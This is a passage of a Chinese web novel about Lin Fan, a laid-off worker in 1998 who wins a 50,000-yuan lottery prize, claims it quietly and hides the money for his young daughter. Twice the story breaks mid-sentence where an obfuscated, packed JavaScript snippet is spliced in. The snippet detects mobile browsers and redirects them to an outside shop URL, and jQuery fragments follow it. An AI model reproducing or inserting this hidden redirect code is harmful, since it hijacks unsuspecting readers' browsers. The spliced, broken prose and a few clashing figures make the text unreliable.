那三块钱、顶着烈日走街串巷的辛苦、给笑笑买烧饼时咬牙的决心,难道全都白费了?
笑笑还等着吃奶油冰棍,还等着穿新裙子,他这个当爹的,连这点希望都给不了她?
巨大的失落像潮水般涌来,将他彻底淹没。
他踉跄着后退两步,“咚”地跌坐在冰冷的木椅上——这椅子是前租客留下的,椅腿少了个垫片,一坐就晃。
他目光呆滞地望着窗外的漆黑夜空,连远处家属院门口那盏昏黄的路灯都觉得刺眼,像在嘲笑他的天真:一个下岗的穷小子,还想靠彩票改变命运?
完了,
全都完了。
他甚至开始怀疑,苏晚晴离开时他哭晕在窗前,再醒来时看到笑笑活生生躺在身边的“重生”,根本就是场幻觉。
就在他万念俱灰,指尖都开始发凉,连眼泪都快掉下来时——
收音机里的声线再次传来,像道迟来的闪电,劈开了他混沌的意识:
“……好的,各位听众,为避免大家记错号码,现在再次播报本期中奖结果:
本期‘好运36选6’的基本中奖号码是3、8、0、5、1、8,
特别号码9。
重复一遍,基本中奖号码3、8、0、5、1、8,
特别号码9——
基本号码全中者为二等奖,奖金五万元;
基本号码全中且特别号码相符者,为一等奖,奖金一百万元……”
基本中奖号码是3、8、0、5、1、8?!
林凡猛地从椅子上弹起来,动作太急,椅子腿在水泥地上刮出“吱嘎”的刺耳声,惊得床上的笑笑不安地翻了个身,小手更紧地抓着他的衣角,梦话里又飘出“爸爸”两个字,声音软得让人心疼。
他赶紧屏住呼吸,盯着女儿的睡颜,
直到她的呼吸重新变得平稳、绵长,才敢低头看自己的手——还在抖,却不是因为失落,是因为狂喜到发颤。
刚才他光顾着听“特别号码9”,
心脏在胸腔里擂得太响,竟盖过了主持人报基本号码的声音!
他买的那组,根本就没押特别号码——
他只凑够了买基本号码的钱,特别号码是额外加钱的,他没舍得。
而二等奖只需要基本号码全中,特别号码半分影响都没有!
他中了!真的中了!五万元!
巨大的情绪冲击让林凡眼前发黑,他赶紧扶住桌边才站稳——桌上还放着笑笑晚上喝剩的半杯米汤,碗沿沾着点米粒。
心脏在胸腔里疯狂擂动,像要撞破肋骨跳出来,血液“轰隆隆”地冲刷着血管,带来一阵阵眩晕的喜悦。
眼泪“唰”地就下来了,却不敢哭出声,只能死死咬住下唇,任由泪水砸在洗得发白的衬衫衣襟上,洇出小小的湿痕。
他太清楚五万元在1998年意味着什么了:
机械厂的工友月薪最高才三百八十块,五万元相当于十三年的工资;
家属院对面的红砖**房,带个八平米的小院,全款也才四万二;
笑笑以后不用再吃冷粥咸菜,每天都能喝上牛奶——供销社的袋装牛奶一毛钱一袋,五万元够她喝到成年;
还能给她报个学前班,不用再看着别的小朋友去上课,自己躲在墙角画圈圈。
林凡轻轻走到床边,蹲下身,借着微弱的灯光看着女儿的睡颜。
笑笑的睫毛很长,像两把小扇子,软软的嘴角还带着笑,大概是在梦里吃到了绿豆冰棍。
沾着油星的小脸透着孩子气的天真,皮肤是淡淡的黄——那是长期营养不良
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607471|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的颜色,以后他一定要让这张脸变得红润起来。
他小心翼翼地从贴身口袋里掏出那张彩票——
被他折成了小方块,藏在腰带内侧,纸边已经被反复摩挲得发毛,边角还沾着汗渍,却像块稀世珍宝。
他展开来,指尖轻轻拂过印刷的数字,一个一个地核对,连油墨印出的小墨点都看清楚了:
3、8、0、5、1、8,一个都不差!
他把彩票紧紧按在胸口,能感受到纸片下心脏的跳动——
那是希望的温度,是重生的重量,是他能给笑笑的未来。
足足十几分钟,他才勉强压下激动,大脑渐渐清醒:不能声张!绝对不能!
怀璧其罪的道理,他比谁都懂。
这筒子楼里住的都是机械厂的老邻居,谁家买了块肉、添了件新衣服,第二天就能传遍整个家属院。
他一个刚下岗的穷小子,突然拿出五万元,不像是抱了块金砖走在街上?指不定会引来什么麻烦——有借钱的,有眼红造谣的,甚至可能被小偷盯上,万一伤到笑笑,他连死的心都有。
他开始在脑子里规划每一步,细致到每个细节:
明天一早六点,先去机械厂工会办公室——他的下岗档案还存在那里,
工会**李叔是个老好人,以前他在厂里时,李叔总帮他照看笑笑。
到时候带包两毛钱的“江州牌”香烟,多说几句软话,开个“身份证明”不难——兑奖需要这个。
然后坐最早一班七点半的长途汽车去市里——汽车站在城郊,离家属院有三站地,步行过去正好赶上车。
这辆车是去市汽车总站的,离福利彩票发行中心只有两条街,不用转车,能避开认识的人。
兑奖时要现金还是转账?转账要留身份证号,太扎眼,还是要现金。不过五万元现金是一大摞,得用个结实的布包——
就用苏晚晴生前缝的那个蓝布包,藏在旧提箱里,外面再放几件换洗衣服,看着像去市里走亲戚。
兑奖后的钱怎么藏?
不能全存在本地银行——县城就两家银行,工行和农行,柜台的柜员都是老熟人,存五万块太扎眼。
最好分三份:
一份两万存成三年定期,藏在苏晚晴给他做的那件藏青色棉袄内衬里——
棉袄是厚棉布的,他找针线把内衬缝了个小口袋,平常用不到,没人会注意;
一份两万换成现金,缝进床板的夹层——床板是松木的,他之前修床时发现中间有空隙,用薄木板挡着,外面看不出痕迹;
还有一万,想办法去省城的工商银行开户——就说去省城给笑笑看咳嗽(笑笑换季总咳嗽),顺便把钱存了,省城银行人多,没人会盯着他这个小储户。
最重要的,是怎么解释钱的来源。
亲戚赠与?不行,他老家在农村,亲戚都是种地的,谁家都不富裕。
远房遗产?这个可行!他想起前世厂里有个老同事,说老家有个远房舅舅在深圳做外贸,偶尔会寄钱回来。
他可以借这个说法——就说母亲那边的远房表哥,在深圳做电子生意发了财,知道他下岗带着孩子不容易,特意寄了点钱周转。
深圳离江州远,没人能查证,而且“周转”两个字说得模糊,既不会引来追问,又能解释钱的来路,完美。
思路越来越清晰,前世在社会摸爬滚打的谨慎,此刻全派上了用场。他强迫自己压下立刻去兑奖的冲动,把彩票重新叠好,
走到衣柜前——衣柜是铁皮的,锈了个小洞,里面只挂着三件衣服:两件衬衫,一件棉袄。他翻出那件藏青色棉袄,手指拂过细密的针脚——这是苏晚晴怀孕时给他做的,说冬天车间冷,厚棉袄抗冻。
棉布里子用的是她陪嫁时的被面,摸着还软软的,带着点蜂花洗发水的淡香——是他每次洗棉袄都用的牌子,便宜还留香。
他找来针线盒——里面的线轴还是苏晚晴以前用的,只剩半卷藏青线。
他小心地撕开棉袄内衬的一角,把彩票塞进去,再用和原来一致的针脚缝好,针脚密得像鱼鳞,摸上去平平的,看不出任何痕迹,就像这件棉袄从未被动过。
做完这一切,窗外的夜色已经淡了些,远处传来第一声鸡鸣——是巷口王大爷家的芦花鸡,每天四点半准时叫,以前林凡下岗后睡不着,总坐在窗边听着鸡鸣发呆,觉得日子没个盼头。
可现在,这鸡鸣却像希望的号角,清脆地划破寂静。
晨光透过糊着旧报纸的窗纸,给房间镀上一层暖融融的浅黄,连墙上剥落的墙皮都显得柔和了。
林凡和衣躺在笑笑身边,女儿的小身子挨着他的胳膊,暖暖的。
他侧过身,看着笑笑的睡颜,指尖轻轻拂过她柔软的头发——
用的是最便宜的蜂花洗发水,洗得头发软软的,带着点甜味。
他的手因为常年干活有老茧,怕刮到笑笑,动作轻得像碰易碎的瓷器。
他想起前世的遗憾:笑笑八岁那年,因为营养不良得了肺炎,他没钱住院,只能在家喂退烧药,结果耽误了病情,最后……
想到这里,他的心像被揪了一下,赶紧把女儿往怀里搂了搂——还好,这一世,他能抓住机会,能让笑笑好好活着。
窗外的老槐树上,早起的麻雀开始叽叽喳喳地叫,阳光从树叶的缝隙里漏下来,在地上投下细碎的光斑。
天,要亮了。
林凡轻轻吻了吻女儿的额头,声音轻得像耳语,却带着这辈子最郑重的誓言:
“笑笑,别怕,爸爸再也不会让你受委屈了。
以后咱们有肉吃,有新衣服穿,还能去游乐园坐旋转木马。”
收音机还在“刺啦”地响着,
此刻却像命运吹响的号角,清脆而响亮。
他的人生,笑笑的人生,那些被贫穷和遗憾困住的日子,
终于要在这晨光里,迎来真正的破晓。
第六章:低调的序曲
清晨的第一缕微光,是从窗纸的破洞里钻进来的。
那光软乎乎的,落在坑洼的水泥地上,晕出细碎的光斑——像谁不小心撒了把带霜的碎米,还沾着窗纸脱下来的毛边,风一吹,就跟着轻轻晃。
夏夜的凉意还没散尽,裹着墙角霉斑的潮气钻进薄被缝,林凡却已经睁了眼。
他没敢动,就那么躺着,听着身边笑笑匀净的呼吸声。
一夜几乎没合眼,大脑却清明得很,每个细胞都透着股压不住的亢奋,又掺着点尘埃落定的踏实,像揣着颗刚从灶膛里扒出来的烤红薯,热乎气从心口往四肢窜。
他轻手轻脚地起身,刚撑着胳膊坐起来,床板就“吱呀——”一声拉长了音,像在暗处打了个哈欠。
林凡瞬间顿住,连呼吸都放轻了,低头往身边看——笑笑翻了个身,小爪子还紧紧攥着他的衣角,睫毛颤了颤,眼缝里没透出光,没醒。
他松了口气,第一时间探手往衣柜里摸那件洗得发白的旧棉袄。
指尖先触到粗布内衬的纹路,再往下,就碰上了那张硬挺的彩票。
温温的,像揣着颗刚焐热的溏心蛋,那点实在的触感传过来,狂跳了一夜的心脏才算稳稳落回腔子里。
巨款就藏在衣襟下,可此刻的林凡,比任何时候都要冷静。
生炉子时,火柴划了两次才燃。
第一次火星刚冒出来,就被从窗缝钻进来的凉风掐灭了,只剩点焦黑的药味飘在空气里。
第二次他把火柴凑到炉口,挡住风,“噌”地一声,橙红的火苗窜起来,他赶紧把火凑到蜂窝煤的孔眼上,看着火苗一点点舔进煤缝里。
煤渣顺着炉口簌簌往下掉,落在水泥地上“滋”地一声,烫出小小的黑印。
他赶紧缩回指尖,那点热意倒让他更清醒了些——日子要从头过,得一步一步来,急不得。
今天没像往常那样,把野菜切碎了拌进糙面粉里,他蹲在米缸前,掀开盖儿,舀出小半碗米。
米粒饱满,白生生的,是苏晚晴临走前特意买的“细米”,平时舍不得吃,都得掺着红薯熬稀粥,稀得能照见人影。
水在铝锅里“咕嘟咕嘟”烧开,他把米倒进去,调小了火,让米粒慢慢熬。
没一会儿,米香就从锅盖缝里钻出来,先是淡淡的,像挠人的小爪子,勾得人心里发馋;接着越来越浓,暖融融的,裹着水汽漫满了小房间,把墙缝里钻进来的潮味全压下去了。
林凡坐在小凳上,盯着锅里翻滚的米粒
——它们一开始是硬邦邦的,在水里打转转,慢慢就胀大了,变胖了,粥也渐渐稠了,冒着细小的泡泡。
他的眼神越来越亮,也越来越坚定:从今天起,他和笑笑的生活,就得像这锅粥一样,稠稠的、暖暖的,满是实在的滋味,再也不用凑活。
粥快熬好时,笑笑醒了。
她揉着惺忪的睡眼坐起来,小脑袋还一点一点的,像没上弦的小木偶。
可没过两秒,她的小鼻子就一抽一抽的,像刚睡醒的小奶狗,鼻尖还沾着点睡出来的薄汗,闻到米香瞬间就支棱起来,声音软糯糯的,还带着点没醒透的鼻音:
“爸爸,好香呀……”
“笑笑醒啦?”
林凡走过去,先把她裹在薄被里的小脚丫掖好,又去灶台上拧了把热水浸过的毛巾
——水温刚好,不烫也不凉。
他蹲在床边,仔细地给笑笑擦脸,从光洁的额头擦到软乎乎的下巴,连沾在嘴角的睡沫都擦得干干净净;
又把她的小手摊开,一根手指一根手指地擦指甲缝里的灰,动作轻得像在呵护一块易碎的白瓷娃娃。
当那碗冒着热气、雪白粘稠的米粥端到面前时,笑笑的大眼睛“唰”地一下就亮了,瞪得圆圆的,像两颗浸了水的黑葡萄,满是惊喜。
她太清楚了,以前只有过年,或者自己生病的时候,才能喝到这么纯的白米粥,平时都是掺了红薯、野菜的杂粮粥,稀得能照见自己的小脸蛋。
她小心翼翼地拿起小勺子,舀了一勺,吹了又吹,才慢慢送进嘴里。
软糯的米香在舌尖化开,带着点淡淡的甜,她满足地眯起眼,小脚丫在床沿边晃来晃去,像两只快乐的小秋千。
晃了两下,她又想起什么,把勺子举到林凡嘴边,声音甜得像蘸了蜜:
“爸爸也吃!甜!可甜了!”
“爸爸不饿,笑笑吃。”
林凡笑着摇头,指尖轻轻碰了碰她的小脑袋。
他看着笑笑鼓着腮帮子喝粥,像只小仓鼠似的,米粒粘在嘴角,她就伸出小舌头
——那舌头像片粉粉的小铲子,把嘴角的米粒卷得干干净净,连下巴沾的粥渍都舔了个光。
看着女儿这副模样,林凡的心里比灌了蜜还甜,连昨天的愁云都散得一干二净。
喂饱笑笑,林凡开始了第一步计划
——开身份证明。他抱着女儿往机械厂走,路上的风还带着点晨寒,他把笑笑往怀里紧了紧,用自己的棉袄裹着她。
机械厂还是老样子,破败得让人心酸:围墙裂着几道缝,里头的野草疯长到半人高,窜得比墙头上的铁丝网还高
——那网锈得只剩红棕色的渣子,风一吹就簌簌掉铁末。
门口保卫科的小屋里,刘大爷趴在掉漆的桌子上打盹,收音机里正放着《岳飞传》,“锵锵”的锣鼓声混着说书人的嗓门,飘得老远。
“刘大爷。”
林凡轻轻喊了声,怕吵醒怀里的笑笑。
刘大爷慢悠悠睁开眼,看见是他,眼神先软了软,又很快硬了点,手指在掉漆的桌沿上敲得哒哒响:
“凡子啊,又来问工作?跟你说过多少回了,厂里现在裁人都裁不过来,车间里的机器都停了一半,哪有岗位给你?”
“不是来问工作的,刘大爷。”
林凡语气平静,晃了晃怀里的笑笑
——小姑娘醒了,正睁着大眼睛看刘大爷桌上的收音机,小手指还指着喇叭,好奇地小声嘀咕“响”。
“有点私事,想麻烦您开个身份证明,盖个章。”
“身份证明?”
刘大爷把老花镜往上推了推,镜片滑到额头上,他盯着林凡看了几秒,又扫过笑笑软乎乎的小脸,语气里带着点疑惑,
“你要这玩意儿干啥?打算去外地打工啊?”
下岗职工来开证明,十有**是为了外出谋生,他在保卫科待了这么多年,见得多了。
“嗯,老乡说南边有活儿,想过去看看。”
林凡顺着他的话往下说,表情自然得像真的要去打工,没露半点破绽,
“总不能一直在家耗着,笑笑还小,得给她挣口饭吃。”
刘大爷叹了口气,那口气里满是无奈,他从抽屉里翻出张泛黄的表格,纸边都卷了**,上面的字迹都有点模糊了:
“填了吧,我去给你找李主任盖章。唉,出去闯闯也好,总比在家啃老强——你媳妇以前在还好,现在一个人带娃有多辛苦也知道了吧?要是以前珍惜多好啊......”
林凡快速填好表格,姓名、年龄、住址,一笔一划写得工整。
他抱着笑笑在门口等,偶尔有穿工装的工人路过,工装的袖口、裤脚都磨得发白。
有人投来同情的目光,嘴唇动了动,没说话;
有人眼神漠然,扫了他一眼就走了;
还有个以前跟他在车间吵过架的男人,看见他,嘴角撇了撇,哼了一声,扭头就进了厂门。
林凡全当没看见。
此刻他心里装着的,是这些人永远想不到的未来——那未来里有笑笑的笑声,有安稳的家,有再也不用愁的柴米油盐。
这点目光,算不得什么。
没多久,刘大爷拿着盖好红章的证明回来了,递给他时,还特意叮嘱:
“走吧走吧,在外头注意安全,别让孩子受委屈。这边也没有什么大事,自己在外学会社交,不要老是一个人过.....”
“谢谢刘大爷。”
林凡接过证明,指尖能摸到红章的温度,那红色鲜亮亮的,像一团小小的火苗。
他小心地把证明折成小块,放进贴身的口袋里,紧贴着心口。
转身离开时,他没再回头看一眼这曾经寄托过他青春的厂区——过去的已经过去,那些下岗的迷茫、生活的窘迫,都该留在这儿了。他要带着笑笑,往前面走,往亮处走。
走出机械厂,他没直接去汽车站,而是先拐去了菜市场。
清晨的集市满是生机,吆喝声、讨价还价声裹着水汽飘过来,热闹得很。
卖菜的大妈嗓门亮得能掀了棚顶:
“小白菜!带露水的小白菜!五分钱一把,回家蘸酱能吃三碗饭!”
肉摊的络腮胡大汉挥着菜刀,“咚”一声剁在砧板上,肥肉颤出的油星子溅在案板上,滋滋响,他扯着嗓子喊:
“刚杀的热乎猪肉!肥的炼油,瘦的炒菜,给娃炖肉最香!”
水灵的青菜带着露水,叶子上还挂着小水珠;鲜红的西红柿透着沙瓤,捏着软乎乎的;活蹦乱跳的鲫鱼在盆里吐泡泡,尾巴甩得水花四溅。林凡的目光扫过这些,最终停在肉摊前。
“要啥?肥的瘦的?”
络腮胡大汉见他过来,停下手里的刀,笑着问。
“割一斤五花肉,要肥瘦相间的。”
林凡的声音不大,却让旁边挑便宜下水的几个大妈顿住了。
她们你看看我,我看看你,眼神里满是惊讶——以前林凡来菜市场,连五毛钱的豆腐都得挑块小的买,偶尔买次肉,也是几毛钱的碎肉,今天居然要割一斤五花肉?
一个拎着萝卜的大妈最先反应过来,手里的萝卜都忘了往菜篮里放,眼睛瞪得溜圆,语气里带着点咋舌:
“凡子?你今天这是太阳打西边出来了?往常连豆腐都得挑块小的买,今儿居然割五花肉?不过年不过节的,你这是发大财了?”
“哪能啊。”
林凡笑着摆手,接过摊主递来的肉——油光锃亮的,还冒着热气,肥瘦层层叠叠,看着就香,
“笑笑最近瘦了,脸色也不好,想给孩子补补,咬咬牙也得买。”
他又去鸡蛋摊买了十个鸡蛋,摊主用旧报纸折了个兜,把鸡蛋一个个放进去,叮嘱他“轻拿轻放”;还去水果摊称了半斤毛桃
——桃子表皮带着细细的绒毛,透着粉嫩嫩的颜色,闻着就有股甜香味,笑笑肯定爱吃。
这些消费在旁人看来,不过是林凡终于振作起来,咬牙给孩子改善伙食,虽有点意外,却也合情合理。
没人会把这和几万块的大奖联系起来,更没人会想到,这个连肉都舍不得买的男人,兜里揣着能改变命运的巨款。
这正是林凡要的效果:一点点改变,不突兀,不扎眼,像春雨润物似的,慢慢渗透,不让任何人起疑心。
采购完,林凡抱着笑笑,手里拎着菜和肉,往汽车站走。
笑笑趴在他肩膀上,小手揪着他的衣领,还在小声念叨“桃子”,惹得林凡忍不住笑。
去市里的长途车是辆老旧的绿皮客车,车身上喷着“县城—市区”的红字,漆掉了大半,露出底下的铁皮,锈得斑斑点点。
车门“吱呀”一声拉开,一股混杂着汗味、汽油味和笼里鸡鸭腥气的热风扑过来,还裹着后排乘客带的腌菜坛子味,呛得笑笑往他怀里缩了缩,小脑袋埋在他颈窝,小声说“臭”。
“不臭,一会儿就好了。”
林凡拍着她的背安抚,买了两张票,找了个靠窗的位置坐下——座椅上的帆布磨得发亮,还沾着点不知名的褐色污渍,摸上去硬邦邦的。
他把菜和肉放在脚边,用袋子挡着,又轻轻拍着女儿的背:
“不怕,爸爸在呢,咱们去市里玩,回来给你买水果糖,好不好?”
车子摇摇晃晃地启动,驶出县城。
窗外的风景慢慢变了,从熟悉的街道变成绿油油的田野。田野里的稻苗刚插下去,嫩得能掐出水,风一吹就晃出一片绿浪。
偶尔有老农披着蓑衣在地里弯腰,**甩着尾巴慢悠悠走过田埂,牛虻在牛背上嗡嗡转,尾巴一甩,就把牛虻赶跑了。
笑笑靠在他怀里,没一会儿就睡着了,小眉头还微微皱着,像在做什么不安稳的梦。
林凡没敢睡,他睁着眼睛看着窗外,脑子里却像过电影似的,把兑奖的每一步都过了三遍:
开口要稳,别露怯,得像个从没见过这么多钱的下岗工人;要是问起钱的用处,就说给娃上学、还账,别扯别的;
采访绝对不能同意,一上报纸,亲戚邻居全得来借钱,日子就没法过了;
还有捐款,估计免不了,得提前想好捐多少,既不让对方不满,也别亏太多——
每一个细节都得卡得死死的,不能出半点错。
近两个小时后,客车终于“哐当”一声停在市区汽车站,引擎还在“突突”地喘着气,像头累坏的老黄牛,好一会儿才歇下来。
市区比县城繁华多了,一眼就能看出来。
高楼多了几层,墙面刷得雪白,窗户亮堂堂的;自行车流更密了,“叮铃铃”的铃声此起彼伏,骑车的人穿着各式各样的衣服,比县城里时髦;还有穿碎花连衣裙的姑娘,裙摆被风吹得飘起来,手里拎着布包;
戴黑墨镜的小伙子靠在自行车上,手里提着收音机,里面放着流行的歌,声音开得老大。
林凡抱着笑笑,一路打听,问了好几个路人,终于找到福利彩票发行中心。
那是一栋不起眼的四层小楼,混在周围的房子里,一点都不扎眼。门口挂着“中国福利彩票”的绿牌子,边缘还沾着点雨水的痕迹,颜色有点发暗。
他在门口站了一会儿,深吸一口气,理了理皱巴巴的衬衫——那是他最好的一件衣服,平时舍不得穿。
又摸了摸怀里的证明和彩票,确认它们安安稳稳地藏在里面,没露出来,才推开玻璃门进去。
兑奖办公室在一楼,里面很安静,只有一个戴眼镜的女工作人员,二十多岁,梳着马尾辫,正百无聊赖地翻报纸。
她的指甲上涂着淡粉色的指甲油,还贴着小小的碎花贴纸,手指翻报纸时,贴纸就跟着晃。
“同志,您好,我……我来兑奖。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607472|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>林凡的声音尽量平稳,却还是带着点藏不住的紧张,手指不自觉地捏着衣角,把衬衫捏出几道褶子。
工作人员抬起头,推了推眼镜,看见他抱着孩子,愣了一下,放下报纸,语气里带着点惊讶:
“哦?中了多少啊?彩票和身份证带了吗?”
“带了带了。”
林凡赶紧从怀里掏出彩票和机械厂开的证明,小心翼翼地从窗口递进去。指尖递出去的时候,他能感觉到自己在抖
——这张小小的彩票,装着他和笑笑的未来,装着他们以后所有的安稳日子。
工作人员接过彩票,先是漫不经心地扫了眼,指尖刚碰到彩票边缘,眼睛突然就瞪圆了,像被针扎了似的“呀”了一声,身体“唰”地从椅子上弹起来,扶着眼镜凑到彩票前,鼻尖都快贴上去了。
她又飞快地翻了翻旁边的中奖公告册,纸页“哗啦哗啦”响,声音在安静的办公室里格外清楚。她的表情从漫不经心变成震惊,抬头上下打量林凡,眼神里满是不敢信,声音都有点发颤:
“你……你中的是二等奖?!”
“好……好像是,”
林凡装作紧张的样子,双手搓了搓,像个没见过世面的工人,脸上带着点茫然,
“厂里的师傅帮我看的,说可能中了,让我来市里确认一下……我也不懂这些,心里还慌得很。”
工作人员深吸一口气,拿起桌上的内部电话,手指都有点抖,拨号码的时候按错了两次:
“主任!主任!您快下来!有个二等奖得主来了!对!就是这期的二等奖!真的来了!”
没一会儿,一个穿中山装、肚子有点鼓的中年男人快步下来,脸上的笑堆得像朵菊花,手里的笔记本都快攥变形了。
他快步走过来的时候,肚子上的中山装扣子都崩得有点紧,一开口,声音热情得像要把人裹住:
“哎呀呀!恭喜恭喜!真是好运气啊!我是这里的王主任,快请进!小张,快给这位同志倒杯水!要热的!”
林凡被请进里间的办公室,桌上摆着好几张表格,印着“中奖登记表”“纳税申报表”,还有一支黑色的钢笔。
王主任把表格推到他面前,递过笔:
“同志,填一下这个,身份证明复印一份,彩票也要存档,放心啊,都是正规流程,不会出问题的。”
林凡一边填表,一边听王主任热情地说:
“你这二等奖,厉害啊!扣完20%的个人偶然所得税,到手一共四万八千元!这可是笔巨款啊!
不少人一辈子都挣不到这么多钱!
你打算怎么用?
是存起来给孩子上学,还是做点小生意?”
语气里带着点试探,眼睛一直盯着林凡的表情。
林凡心里一紧,知道最关键的时候来了。
他故意露出茫然的表情,手里的笔顿了顿,抬头看着王主任,像个被“四万八”砸晕的人,声音都有点发飘:
“四……四万八?我的天爷……这么多?
我……我没敢想过……得……得回去问家里的老人,可能先存起来给娃上学用,再还点家里的债
——之前下岗,欠了不少亲戚的钱,总不能一直拖着。”
他装得手足无措,还特意提了“老人”和“债务”——既符合“普通下岗工人”的人设,又能打消王主任可能的“建议”,比如忽悠他捐款,或者投资什么不靠谱的项目。
王主任果然笑了,拍了拍他的肩,力道不轻不重:
“应该的应该的,过日子就得稳当点,你这想法好!实在!”
顿了顿,他又开口了,语气里带着点商量,
“对了,按惯例,我们想给您做个简单的采访,拍张照片,宣传一下福利彩票的公益性质,也让大家沾沾喜气,你看……”
林凡立刻露出为难的样子,连连摆手,语气都带着点哀求,还往怀里紧了紧笑笑——小姑娘还在睡,小脸蛋贴在他的胸口,呼吸匀净:
“别别别!主任,可使不得!这要是登了报,亲戚邻居都来借钱,我这日子就没法过了!您行行好,千万别拍,我就想安安稳稳养娃,不想惹麻烦,谢谢您了,谢谢您了!”
王主任和旁边的小张对视一眼,都看出了林凡的坚决,叹了口气:
“行吧,理解你的难处,不拍就不拍。不过……你看,是不是为咱们福利事业再做点贡献?捐点款,多少是个心意,也算是积德行善,你说呢?”
林凡心里门清,这是“破财消灾”,免不了的。他装作肉痛的样子,低头琢磨了半天,手指在桌沿上划来划去,才咬牙说:
“我……我捐八百块,图个吉利,您看行不?太多了我也拿不出来,家里还有娃要养,还得还账,实在没多余的钱了。”
八百块不多不少,既不让王主任觉得他小气,也不会让自己亏太多,刚好够“意思”。
“行!八百也是心意!”
王主任笑着接过他递来的现金,在笔记本上记了一笔,又对小张说,
“小张,快给同志办存款手续,再兑换两千现金——人家带着孩子,身上没点现金不方便,路上也不安全。”
流程走了半个多小时,填表格、复印证明、签字确认、办存折……
每一步林凡都走得很小心,生怕出一点差错。
终于,他拿到了四万七千二百元的定期存折,还有两千元现金
——那现金是厚厚的两沓十元纸币,崭新得能割手,还带着银行的油墨味,摸在手里,沉甸甸的。
他把存折小心地藏在棉袄内衬的夹层里,那夹层是他特意缝的,藏在最里面,谁也找不到。
现金分成两份:一份塞在腰带里,紧紧系在腰上,硌得有点疼,却觉得踏实;
一份放在贴身口袋里,方便路上用。
抱着还在睡的笑笑走出小楼,市区的阳光有点刺眼,他下意识地用手挡了挡。
车水马龙的声音裹着风传来,有汽车的喇叭声,有自行车的铃声,还有路人的说话声,热闹得很。
林凡回头望了眼那栋不起眼的小楼,感觉像做了场光怪陆离的梦
——昨天早上,他还在为三块七毛钱的菜钱发愁,还在想晚上给笑笑做什么吃;
今天早上,他就握着能改变命运的巨款,像在梦里走了一遭。
但口袋里沉甸甸的存折和现金告诉他,这不是梦。
这是真的,是他和笑笑的新生。
他抱紧笑笑,往汽车站走。
下一步,要找个隐蔽的地方把钱藏好,然后,开始真正规划他和笑笑的未来
——找个好点的房子,给笑笑找个幼儿园,再想想做点小生意,再也不用过那种凑活的日子。
阳光穿过市区的梧桐叶,碎成金闪闪的光点落在他身上,暖融融的,裹着风里的槐花香。
他低头看了眼怀里睡得安稳的笑笑,又摸了摸内衬里的存折
——厚厚的,
硬挺的,
带着银行的油墨香,
像揣着一整个沉甸甸的春天。
这是他新生活的开始,
一首低调却满是希望的序曲,正悄悄奏响。
第七章:暗流初现
走出福利彩票中心时,1998年夏末的江州热浪裹着喧嚣撞进怀里——柏油路被正午的日头晒得泛出油光,热气顺着鞋底往上窜,橡胶鞋底踩上去黏糊糊的,像沾了层没化开的糖稀,抬脚时能听见“吱呀”的粘连声;
永久牌自行车在人行道上穿梭,车铃“叮铃叮铃”乱响,有个骑车的女工车把上挂着铝饭盒,盒盖没扣紧,晃出的米汤在车把上结了圈淡黄的印子;街角卖冰棍的小贩推着绿皮铁皮车,车身上“江州食品厂”的红漆已经剥落,
“冰棍——白糖冰棍五分钱一根——”
的吆喝混着自行车链条的“哗啦”声、国营商店门口的广播声飘过来,连吸进肺里的空气都带着烫意,鼻腔里像塞了团热棉花。
林凡抱着依旧熟睡的笑笑,站在人潮里,恍惚得像踩在晒化的柏油路上——脚不沾地,心也飘着。
口袋里的两沓现金硌着腰侧,是刚从彩票中心兑奖处拿的十元纸币,崭新得能看见纸纤维,边缘刮着皮肤时带着油墨的凉,却烫得他腰眼发紧;
而那张活期存折轻飘飘的,塑料封皮上印着“中国农业银行”的绿色字样,里面“肆万柒仟贰佰元整”的黑体字,
在1998年的江州抵得上普通工人四年的工资(当时国营机床厂月薪才九百多),此刻却重逾千钧,仿佛要把他洗得发白的卡其布裤兜坠出个洞。
这两样东西像两块烧红的炭,烫得他心头发慌——昨天他还在菜市场为几分钱跟卖菜的讨价还价,盘算着五根冰棍能赚两**五,够给笑笑买半包最便宜的奶粉;
今天就握着能在县城买套小瓦房(当时县城房价才三百八一平)的巨款,太不真实了。
他悄悄掐了下掌心——指甲陷进肉里,尖锐的疼瞬间扎醒了飘在云端的心神。
不行,绝不能松懈。
前世他就是因为下岗后揣着微薄的遣散费大意外露,被街溜子抢了个精光,最后连给苏晚晴买药的钱都凑不齐。
现在怀揣巨款,带着刚满三岁的笑笑,在这连监控都没普及的市区里,每一步都得如履薄冰。
首先要找个安全的地方清点藏钱。
宾馆太扎眼,玻璃窗亮得能照见人影,柜台还得登记身份证;小旅馆鱼龙混杂,门口总蹲着眼珠乱转的闲汉,上次他陪工友来市区,就见有人在旅馆走廊里偷摸交易。
他的目光扫过街对面,突然亮了——“江州新华书店”的绿底白字招牌挂在二楼,漆皮掉了些,边角卷着毛边,却透着股国营单位特有的安稳劲儿,像小时候邻居家沉默寡言却靠谱的老厂长。
对!书店安静,读者多是戴老花镜的退休老人、抄笔记的中学生,人流固定且规矩,靠窗的位置还有供休息的长条木椅。
最重要的是,没人会想到,有人会抱着三岁孩子在书店里清点巨款——谁会把“暴富”和“看书”联系到一起?
他抱着笑笑穿过马路,避让着穿梭的自行车——有个穿蓝色工装的男人骑得太急,车把擦着他的胳膊过去,车筐里的扳手“哐当”掉在地上,男人还回头骂了句
“走路看道,眼瞎啊”。
